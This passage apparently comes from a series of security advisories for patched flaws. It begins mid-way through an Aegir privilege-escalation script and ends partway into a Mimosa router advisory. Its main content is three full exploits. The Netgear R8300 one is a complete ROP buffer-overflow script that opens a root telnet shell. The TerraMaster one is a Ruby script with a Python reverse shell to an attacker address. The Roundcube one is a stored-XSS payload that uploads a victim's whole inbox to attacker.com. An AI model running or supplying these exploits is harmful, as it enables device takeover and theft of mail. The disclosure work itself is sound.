APACHE_CONFIG='/var/aegir/config/apache.conf'

if not COMMAND and len(sys.argv) != 2:
  print 'Usage: python2.7 {} <command>'.format(sys.argv[0])
  sys.exit(1)

with open(APACHE_CONFIG, 'a+') as f:
  cmd = sys.argv[1] if not COMMAND else COMMAND
  f.write('''
<VirtualHost *:80>
DocumentRoot /var/www/
ErrorLog "|{}"
</VirtualHost>
'''.format(cmd.replace('"', '\"')))

os.system(SUDO_RELOAD)
os.execvp('bash', ['bash', '-p'])

SSD Advisory – Netgear Nighthawk R8300 upnpd PreAuth RCE

TL;DR

Find out how we exploited an unauthenticated Netgear Nighthawk R8300 vulnerability and gained root access to the device.

Vulnerability Summary

The Nighthawk X8 AC5000 (R8300) router released in 2014, is a popular device sold by Netgear with almost 2000 positive reviews on Amazon. A vulnerability in the way the R8300 handles UPNP packets allows unauthenticated attackers to cause the device to overflow an internal buffer and execute arbitrary code with the privileges of the ‘root’ user.

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Netgear Nighthawk R8300 running firmware versions prior to 1.0.2.134

Vendor Response

The vendor has released a patch and an advisory: https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211

Vulnerability Root Cause Analysis

A vulnerability in the way the R8300 handles incoming UPNP packets by its UPNP daemon allows remote attackers to overflow an internal buffer.

Below picture is the point that recv input point and vulFunction, we can send data to size 0x1fff:

If we look into vulFunction, the pointer (0x025E70) is overwritten with the return address of the strcpy function. The strcpy function has two arguments. arg1 is dst buffer, arg2 is src buffer and it will perform a copy until it meets the NULL byte. The dst buffer local variable is located at the position of ebp-0x634. The src buffer is under our full control and is only limited by its size to 0x1fff. By overflowing the dst buffer we can control PC value:

In order to successfully change the PC value, we need to reach the return part of vulFunction. We have to set its value to an existing pointer value that exists in memory (other loaded libraries functions).

By correctly crafting the data, we obtain control over the PC value:

ASLR Bypassing through Stack Reuse

The router has the ASLR mitigation turned on, which we can bypass using a ROP Attack. However, we are performing a copy call through the use of strcpy, which is sensitive to NULL bytes, which would in turn prevent us to use the ROP attack. Therefore to utilize an address that contains a NULL byte, we will need to use a stack reuse attack.

We will do this by combining two payloads, the composition of first payload is as follows:

s.send('a\x00'+expayload) #expayload is rop gadget

We will be sending a “a\x00” value at the beginning of the payload to avoid triggering the UPNP vulnerability, until our payload is in the the stack.
The second payload will control the PC value and change it to 0x230f0 and trigger the first payload in the stack. 0x230f0 gadget can control stack pointer.

The figure below illustrates the overall exploit and payloads:

We decided to use the BSS area of 0x9E150 to place our strings that we will later use for exploitation. Using strcpy gadget 0x13648 and string gadget in the binary, we can create the exploiting payload and execute system gadget 0x1A83C.

Demo

Exploit

import socket
import time
import sys
from struct import pack

a= """
    # NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
    # Date : 2020.03.09 
    # POC : system("telnetd -l /bin/sh -p 9999& ") Execute 
    # Desc : execute telnetd to access router						 
"""
print a

p32 = lambda x: pack("<L", x)

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7ABBBc9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7DDDBa9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7 AAA Aa9CbEEEECb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4F'
expayload = ''

payload = payload.replace('z3Bz','\xff\xff\x1b\x40') # Need to Existed Address

payload = payload.replace(' AAA ','\xf0\x30\x02\x00') #change eip

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

"""
.text:00013644                 MOV             R0, R10 ; dest
.text:00013648                 MOV             R1, R5  ; src
.text:0001364C                 BL              strcpy
.text:00013650                 MOV             R0, R4
.text:00013654                 ADD             SP, SP, #0x5C ; '\'
.text:00013658                 LDMFD           SP!, {R4-R8,R10,PC}
"""

bssBase = 0x9E150   #string bss BASE Address

expayload += 'a' * 4550
expayload += p32(bssBase+3) # R4 Register
expayload += p32(0x3F340) # R5 Register //tel
expayload += 'IIII' # R6 Register
expayload += 'HHHH' # R7 Register
expayload += 'GGGG' # R8 Register
expayload += 'FFFF' # R9 Register
expayload += p32(bssBase) # R10 Register
expayload += 'BBBB' # R11 Register
expayload += p32(0x13644) # strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+6) #R4
expayload += p32(0x423D7) #R5  //telnet
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8 
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+8) #R4
expayload += p32(0x40CA4 ) #R5  //telnetd\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+10) #R4
expayload += p32(0x4704A) #R5  //telnetd\x20-l
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+11) #R4
expayload += p32(0x04C281) #R5  //telnetd\x20-l/bin/\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+16) #R4
expayload += p32(0x40CEC) #R5  //telnetd\x20-l/bin/
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+18) #R4
expayload += p32(0x9CB5) #R5  //telnetd\x20-l/bin/sh
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy


expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+22) #R4
expayload += p32(0x41B17) #R5  //telnetd\x20-l/bin/sh\x20-p\x20
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+24) #R4
expayload += p32(0x03FFC4) #R5  //telnetd\x20-l/bin/sh\x20-p\x2099
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+26) #R4
expayload += p32(0x03FFC4) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+28) #R4
expayload += p32(0x4A01D) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase+30) #R4
expayload += p32(0x461C1) #R5  //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x13648) #strcpy

print "[*] Make Payload ..."

"""
.text:0001A83C                 MOV             R0, R4  ; command
.text:0001A840                 BL              system
"""

expayload += 'd'*0x5c#dummy
expayload += p32(bssBase) #R4
expayload += p32(0x47398) #R5 
expayload += 'c'*4 #R6
expayload += 'c'*4 #R7
expayload += 'c'*4 #R8
expayload += 'd'*4 #R10
expayload += p32(0x1A83C) #system(string) telnetd -l

s.connect(('239.255.255.250', 1900))

print "[*] Send Proof Of Concept payload"

s.send('a\x00'+expayload)#expayload is rop gadget 

s.send(payload)

def checkExploit():
	soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		ret = soc.connect(('192.168.1.1',9999))
		return 1

	except:
		return 0
	
time.sleep(5)

if checkExploit():
	print "[*] Exploit Success"
	print "[*] You can access telnet 192.168.1.1 9999"
else:
	print "[*] Need to Existed Address cross each other"
	print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
	print "[*] To exploit reexecute upnpd, description"
	print "[*] Access http://192.168.1.1/debug.htm and enable telnet"
	print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"

s.close()
print """

[*] Done ...
"""

SSD Advisory – TerraMaster OS exportUser.php Remote Code Execution

TL;DR

Find out how we exploited an unauthenticated TerraMaster OS vulnerability and gained root access to the device.

Vulnerability Summary

TerraMaster Operating System (TOS) is an operating system designed for TNAS devices. Invalid parameter checking in TOS leads to an unauthenticated Remote Code Execution vulnerability in the product, further to that the executed code runs with root privileges.

CVE

CVE-2020-15568

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

TOS version 4.1.24 and below

Vendor Response

The vendor has released a patch for this vulnerability, all versions from version 4.1.29, and above are no longer vulnerable to this issue.

Vulnerability Details

A dynamic class method invocation vulnerability exists in file include/exportUser.php which leads to executing remote commands on TerraMaster devices with root privileges.

The vulnerable file requires several HTTP GET parameters to be provided in order to reach method call and exploit this vulnerability. On first line application includes app.php (see in below code snippet) which autoloads relevant core classes of TOS software.

The application decides operation based on value of GET parameter type. If value of type variable is something different than 1 or 2, then it’s possible to reach vulnerable code.

As seen in below source code of exportUser.php, application requires HTTP GET parameters cla (shorthand for class), func and opt.

<?php
	include_once "./app.php"; // [1] autoload classes
	class CSV_Writer{
		...
	}
	$type = $_GET['type'];
	$csv = new CSV_Writer();
	if($type == 1){
		$P = new person();
		$data = $P->export_user($_GET['data']);
		$csv->exportUser($data);
	} else if($type == 2) {
		$P = new person();
		$data = $P->export_userGroup($_GET['data']);
		$csv->exportUsergroup($data);
	} else { // [2] type value is bigger than 2
		//xlsx通用下载
		$type = 0;
		$class = $_GET['cla'];
		$fun = $_GET['func'];
		$opt = $_GET['opt'];
		$E = new $class();
		$data = $E->$fun($opt); // [3] vulnerable code call
		$csv->exportExcel( $data['title'], $data['data'], $data['name'], $data['save'], $data['down']);
	}
?>

During code review of other files as well, it has been found that there is a way to exploit this issue with pre-existing classes in TOS software.
PHP Class located in include/class/application.class.php is best candidate to execute commands on devices that runs TOS software.

Since exportUser.php has no authentication controls, it’s possible for unauthenticated attacker to reach code execution by providing following values as HTTP GET parameters.

include/exportUser.php?type=3&cla=application&fun=exec&opt=id&uname -a < output.txt

This request forces exportUser.php to create a new instance of “application” class and call it’s public method “exec” to execute code as root. As a result, application should write output of commands to output.txt in web server.

Demo

Exploit

Following GET request show demonstration of code execution on device that runs TOS software.

GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(id;whoami)%3Eoutput.txt
HTTP/1.1
Host: terramaster.nas:8181
Connection: keep-alive
User-Agent: the UA

Result of the executed command will be written to output.txt in the web server directory under /include/output.txt.

HTTP/1.1 200 OK
Date: Thu, 02 Jul 2020 11:49:11 GMT
Content-Type: text/plain
Last-Modified: Thu, 02 Jul 2020 11:46:10 GMT
Transfer-Encoding: chunked
Connection: close
ETag: W/"5efdc902-4e6"
X-Powered-By: TerraMaster
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cross-Origin-Resource-Policy: same-origin
Content-Encoding: gzip
uid=0(root) gid=0(root)
root

An attacker can upload a web shell or trigger python/php interpreter on the system to get a reverse shell.
Below is the exploit that demonstrate it.

require 'net/http'
require 'uri'
require 'optparse'

def make_request(uri, debug)
	Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|
		request = Net::HTTP::Get.new uri
		response = http.request(request)

		if debug
			puts "[LOG] [%d] response: %s" % [response.code, response.body] 
			puts
		end
	end
end

def header()
	puts "*" * 60
	puts 
	puts "TOS V4.1.24 Unauthenticated Remote Root Shell Exploit"
	puts
	puts "*" * 60
	puts 
end


options = {}

header()

OptionParser.new do |opts|
	opts.banner = "Usage: tos_rce_exploit.rb [options]"
	opts.on("-t target_uri", "URI of target TOS application (e.g: http://terramaster.host:8181)") do |val|
		options[:target_uri] = val
	end

	opts.on("-l local_ip", "Local IP for reverse shell/netcat listener") do |val|
		options[:local_ip] = val
	end

	opts.on("-p local_port", "Local Port for reverse shell/netcat listener") do |val|
		options[:local_port] = val
	end

	opts.on("-c linux_cmd", "Any bash command to be run on target TerraMaster") do |val|
		options[:cmd] = val
	end

	opts.on("-v", "Verbose messages") do |val|
		options[:debug] = true
	end
end.parse!

target = options[:target_uri]
local_ip = options[:local_ip]
local_port = options[:local_port]
debug = options[:debug] || false
payload = options[:cmd] || "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{local_ip}\",#{local_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
vulnerable_uri = "#{target}/include/exportUser.php?type=3&cla=application&func=_exec&opt=#{URI.escape(payload)}+%26"


puts "[INFO] Make sure that your listener started on #{local_ip}:#{local_port}"
puts "[INFO] Sending exploit request to #{target}"
puts "[INFO] Vulnerable function don't return command output so forward it to file" if options[:cmd]
puts "[DEBUG] #{vulnerable_uri}" if debug
make_request URI(vulnerable_uri), debug

SSD Advisory – Roundcube Incoming Emails Stored XSS

TL;DR

Find out how we exploited Roundcube webmail application and crafted an email containing malicious HTML that execute arbitrary JavaScript code in the context of the vulnerable user’s inbox.

Vulnerability Summary

Roundcube webmail is a browser-based multilingual IMAP client with an application-like user interface.
An input sanitization vulnerability in Roundcube can be exploited to perform a stored cross-site scripting (XSS) attacks.

CVE

CVE-2020-15562

Credit

An independent Security Researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Roundcube versions:
– 1.3.8
– 1.3.9
– 1.4 (current main branch)

Vendor Response

The vendor acknowledges the vulnerability and fixed it, see vendor advisory for more details: https://roundcube.net/news/2020/07/05/security-updates-1.4.7-1.3.14-and-1.2.11

Vulnerability Details

Roundcube uses a custom version of Washtml (a HTML sanitizer) to display untrusted HTML in email messages. One of the modifications adds the SVG supportsvg-support, in particular, an exception has been added in rcube_washtml.php for the svg tag to properly handle XML namespaces (dumpHtml function):

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $dump .= ' ' . $ns->nodeName . '="' . $ns->nodeValue . '"';
        }
    }
}

This snippet uses an XPath query to list and add all the non-default XML namespaces of the root element of the HTML message to the svg tag as attributes. The vulnerable part here is that $ns->nodeName and $ns->nodeValue values are added to $dump without proper sanitization (e.g., htmlspecialchars).[svg-support]  Introduced in commit a1fdb205f824dee7fd42dda739f207abc85ce158.

There are a number of things to consider in order to manage to successfully inject arbitrary HTML code.

First, if the HTML message lacks the head tag (or alternatively a meta specifying the charset, in newer releases) then Roundcube appends a default preamble to the message; this is undesirable as the goal is to control the root element. (Also note that the svg tag itself cannot be the root element.)

Second, when at least one svg tag is present (and the <html string is not) the message is parsed using DOMDocument::loadXMLdom-node and that requires a valid XML document.

Finally, by taking into account that DOMDocument::loadXML decodes any HTML entity during the parsing, it is possible to use &quot; to escape the hard coded double quotes in the above snippet and &lt;/&gt; to escape the svg element altogether.

Since the namespaces are added to the svg tag, a simple way to exploit this vulnerability is to use the onload event:

<head xmlns="" onload="alert(document.domain)"><svg></svg></head>

The resulting HTML is:

<svg xmlns="" onload="alert(document.domain)" />

It is likewise possible to escape the svg tag entirely and inject a script tag:

<head xmlns=""><script>alert(document.domain)</script>"><svg></svg></head>

The resulting HTML is:

<svg xmlns=""><script>alert(document.domain)</script>" />

[dom-node]  In the above snippet $node is an instance of DOMNode.

Exploit

Possibly one of the most effective ways to demonstrate the impact of this vulnerability is to exploit the zipdownload plugin (enabled by default) to fetch the whole inboxuid as a zipped MBOX file then upload it to a web server controlled by the attacker via a POST request:

(async () => {
    const uploadEndpoint = 'http://attacker.com:8080/upload.php';

    // download the whole inbox as a zip file
    const response = await fetch('?_task=mail&_action=plugin.zipdownload.messages', {
        method: 'POST',
        credentials: 'include',
        headers: {
            'content-type': 'application/x-www-form-urlencoded'
        },
        body: `_mbox=INBOX&_uid=*&_mode=mbox&_token=${rcmail.env.request_token}`
    });

    // prepare the upload form
    const formData = new FormData();
    const inboxZip = await response.blob();
    formData.append('inbox', inboxZip, 'INBOX.mbox.zip');

    // send the zip file to the attacker
    return fetch(uploadEndpoint, {
        method: 'POST',
        mode: 'no-cors',
        body: formData
    });
})();

To avoid using HTML entities for & it is possible to encode everything with Base64. The final payload becomes:

<head xmlns="" onload="eval(atob('KGFzeW5jKCk9Pntjb25zdCB1cGxvYWRFbmRwb2ludD0iaHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3VwbG9hZC5waHAiO2NvbnN0IHJlc3BvbnNlPWF3YWl0IGZldGNoKCI/X3Rhc2s9bWFpbCZfYWN0aW9uPXBsdWdpbi56aXBkb3dubG9hZC5tZXNzYWdlcyIse21ldGhvZDoiUE9TVCIsY3JlZGVudGlhbHM6ImluY2x1ZGUiLGhlYWRlcnM6eyJjb250ZW50LXR5cGUiOiJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQifSxib2R5OmBfbWJveD1JTkJPWCZfdWlkPSomX21vZGU9bWJveCZfdG9rZW49JHtyY21haWwuZW52LnJlcXVlc3RfdG9rZW59YH0pO2NvbnN0IGZvcm1EYXRhPW5ldyBGb3JtRGF0YTtjb25zdCBpbmJveFppcD1hd2FpdCByZXNwb25zZS5ibG9iKCk7Zm9ybURhdGEuYXBwZW5kKCJpbmJveCIsaW5ib3haaXAsIklOQk9YLm1ib3guemlwIik7cmV0dXJuIGZldGNoKHVwbG9hZEVuZHBvaW50LHttZXRob2Q6IlBPU1QiLG1vZGU6Im5vLWNvcnMiLGJvZHk6Zm9ybURhdGF9KX0pKCk7Cg=='))"><svg></svg></head>

The POST request can be easily received by the built-in PHP web server, for example create an upload.php file with:

<?php<br>$file = $_FILES['inbox'];<br>move_uploaded_file($file['tmp_name'], $file['name']);

Then start the server with:

$ php -S 0.0.0.0:8080

If the XSS is successfully triggered then a INBOX.mbox.zip file is created in the current directory.[uid]  The _uid POST field can also be an array thus allowing to exfiltrate the inbox in chunks.

Demo

SSD Advisory – Mimosa Routers Privilege Escalation and Authentication bypass

TL;DR

Find out how we exploited Mimosa Router’s web interface vulnerability and gained root access.

Vulnerability Summary

Mimosa Networks is the global technology leader in wireless broadband solutions, delivering fiber-fast connectivity to service providers and enterprise, industrial and government operators worldwide. A vulnerability in Mimosa devices/routers leads to an authentication bypass/ privilege escalation by executing malicious code in the Routers Web interface.

CVE

CVE-2020-14003

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Should work on any mimosa device with versions of the firmware <= 1.5.1 (the latest version)

C5c ca8c8e1

C5 cc51495

B5 b84c680

B5-Lite b84c680

B5c b84c680

B11 b84c680

B24 1070089

Vendor Response

The vendor acknowledges the vulnerability and fixed it.

Vulnerability Details

The Mimosa routers all use a custom web interface that’s written using php. The Mimosa developers also have their own mini php framework.

The root of the web interface is located at /var/www/. There are a lot of php scripts there, some which handle API requests and others for the web interface. Let’s begin by looking at the framework and how authentication is done (the initial bug).

Authentication Bypass/ Privilege Escalation

File /var/www/core/tinyframe/mimosa.php

class Dispatcher { //Dispatcher class (Handles routing) included for reference
   private $output;

   public function __construct() {
